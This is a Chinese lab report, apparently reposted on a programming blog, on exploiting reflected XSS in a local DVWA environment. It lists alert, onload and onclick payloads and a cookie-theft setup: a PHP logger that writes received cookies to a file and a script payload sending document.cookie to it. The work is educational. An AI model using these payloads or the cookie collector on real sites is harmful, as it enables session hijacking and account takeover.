当前位置:网站首页>反射型XSS漏洞
反射型XSS漏洞
2022-07-01 16:49:00 【全栈程序员站长】
大家好,又见面了,我是你们的朋友全栈君。
实验项目 | 反射型XSS实验 |
---|---|
综合性实验 | 2020年10月 22日 |
一、实验综述
1.实验目的及要求
(1)跨站脚本(XSS) XSS是一种在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。 (2)XSS漏洞分成三类: 一类是反射型XSS漏洞。产生原因:没有对用户提交的内容进行可靠的输入验证。 一类是保存型XSS漏洞。产生原因:未经适当 过滤净化就将保存在后端数据库的 用户提交的数据显示给其他用户。 另一类则是来自基于DOM的XSS漏洞。由于客户端JavaScript可以访问浏览器的文本对象模型(DOM),因此,它能够决定用于加载当前页面的URL,由应用程序发布的一段脚本可以从URL中提取数据,对这些数据进行处理,然后用它更新页面的内容,如果这样,应用程序就易受到基于 DOM的XSS攻击。
2.实验仪器、设备或软件
Vmware Workstation Pro 15.0
PHP study、DVWA
Windows 7操作系统
3.实验原理
(1)XSS工作原理: XSS:Cross Site Script,为了和层叠式表(Cascading style sheet,CSS)有所区别,在安全领域叫做“XSS”. XSS攻击,通常指黑客通过“HTML注入”篡改了网页,插入了恶意脚本从而在用户浏览网页时,控制用户浏览器的一种攻击。在一开始,这种攻击的演示安全是跨域的,所以叫做“跨站脚本”。但是发展到今天,由于JavaScript的强大功能以及网站前端应用的复杂化,是否跨域已经不再重要,由于历史原因,XSS一直保留下来。 (2)Web原理:两种 HTTP 请求方法:GET 和 POST 在客户机和服务器之间进行请求-响应时,两种最常被用到的方法是:GET 和 POST。GET – 从指定的资源请求数据。POST – 向指定的资源提交要被处理的数据。
二、实验过程(步骤过程、数据记录)
1.步骤
(1)打开虚拟机,在命令行中输入命令(ipconfig)查看虚拟机的IP地址。
(2)打开软件phpstudy_pro,启动Apache2.4.39和MySQL5.7.26.
(3)在本地浏览器中输入:http://192.168.45.128/DVWA-master/setup.php进入DVWA页面。
(4)将DVWA Security设为Low
(5)点击左侧XSS(reflected)
(6)在DVWA地址框中输入:http://192.168.45.128/DVWA-master/vulnerabilities/xss_r/?name=#
显示结果,跳转到如下页面:
出现弹窗,说明存在xss。 从虚拟机外的主机访问192.168.45.128
(7)从虚拟机外的主机访问192.168.45.128 地址栏输入:http://192.168.45.168/DVWA-master/vulnerabilities/xss_r/?name=zhangsan
返回页面显示如下:
点击右下方的“View Source”显示页面如下:
根据回显信息判断出,显示的文本内容是 Hello name 。 我 们 输 入 的 信 息 被 存 放 在 name。我们输入的信息被存放在name 变量中。
(8)添加一条 JavaScript 代码获取 cookie,在上述文本框中输入,点击“submit”,弹出如下对话框:
可以看到我们提交的文本信息被浏览器执行了,显示出了我们的 cookie 信息。说明此网站有 XSS 漏洞!
(9)在文本框中输入<body οnlοad=alert(‘xss2’)>
(10)文本框输入:<a href=’’ οnclick=alert(‘xss3’)>click1
显示结果如下:
点击“click1”,显示结果如下:
(11)在虚拟机192.168.45.128的WWW/DVWA-master目录下,新建cookie1.php,具体内容如下:
<?php
$cookie = $_GET['cookie']; //以GET方式获取cookie变量值
$fp = fopen('cookie.txt', 'a'); //打开cookie.txt,若不存在则创建它
fwrite($fp,"my cookie is:".$cookie."\n"); //写入文件
fclose($fp); //关闭文件
?>
在客户端的文本框中输入以下内容,点击submit
<script>document.location='http://192.168.45.128/DVWA-master/cookie1.php?cookie='+document.cookie;</script>
在DVWA-master文件夹中生成cookie.text, 打开cookie.txt,可看到客户端的cookie值保存在该文本文件中
2.数据记录
(1)输入:
http://162.168.45.128/DVWA-master/vulnerabilities/xss_r/?name=<script>alert("1")</script>#
输出:
1
(2)输入:
http://192.168.45.128 /DVWA-master/vulnerabilities/xss_r/?name=zhangsan</script>
输出:
Hello zhangsan
(3)输入:
<script> alert(document.cookie) </script>
输出:
security=low;PHPSESSID=6feglj7cp01c7mk04dndleb6r2
(4)输入:
<body onload=alert('xss2')>
输出:
xss2
(5)输入:
<a href='' onclick=alert('xss3')>click1</a>
输出:
Hello click1
(5)输入:
<script>document.location='http://192.168.45.128/DVWA-master/cookie1.php?cookie='+document.cookie;</script>
输出:
创建cookie.txt文件
三、结果讨论与分析
1.实验结果
最终获取到用户的cookie信息: my cookie is :security=low:PHPSESSID=6avva45en6mubmd3augjkcpjga
2.分析讨论
本次实验在DVWA虚拟环境中进行,学习到了xss注入的基本原理以及基本步骤,如何利用xss漏洞进行攻击,如何获取用户的cookie信息。
3.总结
反射型XSS漏洞产生原因及步骤: 原因:没有对用户输入的内容进行有效验证 步骤: (1)用户正常登录,得到包含会话令牌的cookie (2)攻击者将准备好的URL提交给用户 (3)用户访问攻击者 提供的URL (4)服务器对攻击者的JavaScript做出响应 (5)攻击者的JavaScript在用户浏览器中执行 (6)用户浏览器向攻击者发送会话令牌 (7)攻击者劫持用户会话,得到cookie,访问用户个人信息并以该用户权限执行任意操作。
发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/130940.html原文链接:https://javaforall.cn
边栏推荐
- Yyds dry inventory MySQL RC transaction isolation level implementation
- 官宣!香港科技大学(广州)获批!
- Alibaba cloud, Zhuoyi technology beach grabbing dialogue AI
- AI高考志愿填报:大厂神仙打架,考生付费围观
- Pytest learning notes (13) -allure of allure Description () and @allure title()
- 走进微信小程序
- 存在安全隐患 起亚召回部分K3新能源
- 【C语言补充】判断明天是哪一天(明天的日期)
- [Supplément linguistique c] déterminer quel jour est demain (date de demain)
- 判断二叉树是否为二叉搜索树
猜你喜欢
PR basic clip operation / video export operation
Soft test network engineer full truth simulation question (including answer and analysis)
How to repair the laptop that cannot connect to the wireless network
sql刷题1050. 合作过至少三次的演员和导演
How to use F1 to F12 correctly on laptop keyboard
免费抽奖 | 《阿巴豆》探索未来系列盲盒数字版权作品全网首发!
Babbitt | yuan universe daily must read: Naixue coin, Yuan universe paradise, virtual stock game Do you understand Naixue's tea's marketing campaign of "operation pull full"
阿里云、追一科技抢滩对话式AI
Shenyu gateway development: enable and run locally
Iommu/smmuv3 code analysis (10) page table operation
随机推荐
What is the effect of choosing game shield safely in the game industry?
Please, stop painting star! This has nothing to do with patriotism!
Template engine velocity Foundation
Internet News: "20220222" get together to get licenses; Many products of Jimi have been affirmed by consumers; Starbucks was fined for using expired ingredients in two stores
剑指 Offer II 015. 字符串中的所有变位词
【C语言基础】12 字符串
Leetcode 216 combined summation III -- backtracking method
Are you still using charged document management tools? I have a better choice! Completely free
中国氮化硅陶瓷基板行业研究与投资前景报告(2022版)
China sorbitol Market Forecast and investment strategy report (2022 Edition)
软件工程导论——第六章——详细设计
单例模式的懒汉模式跟恶汉模式的区别
剑指 Offer 20. 表示数值的字符串
vulnhub靶场-Hacker_Kid-v1.0.1
The amazing open source animation library is not only awesome, but also small
【C語言補充】判斷明天是哪一天(明天的日期)
Leetcode 77 combination -- backtracking method
[Supplément linguistique c] déterminer quel jour est demain (date de demain)
Pytest learning notes (13) -allure of allure Description () and @allure title()
中国生物降解塑料市场预测与投资战略报告(2022版)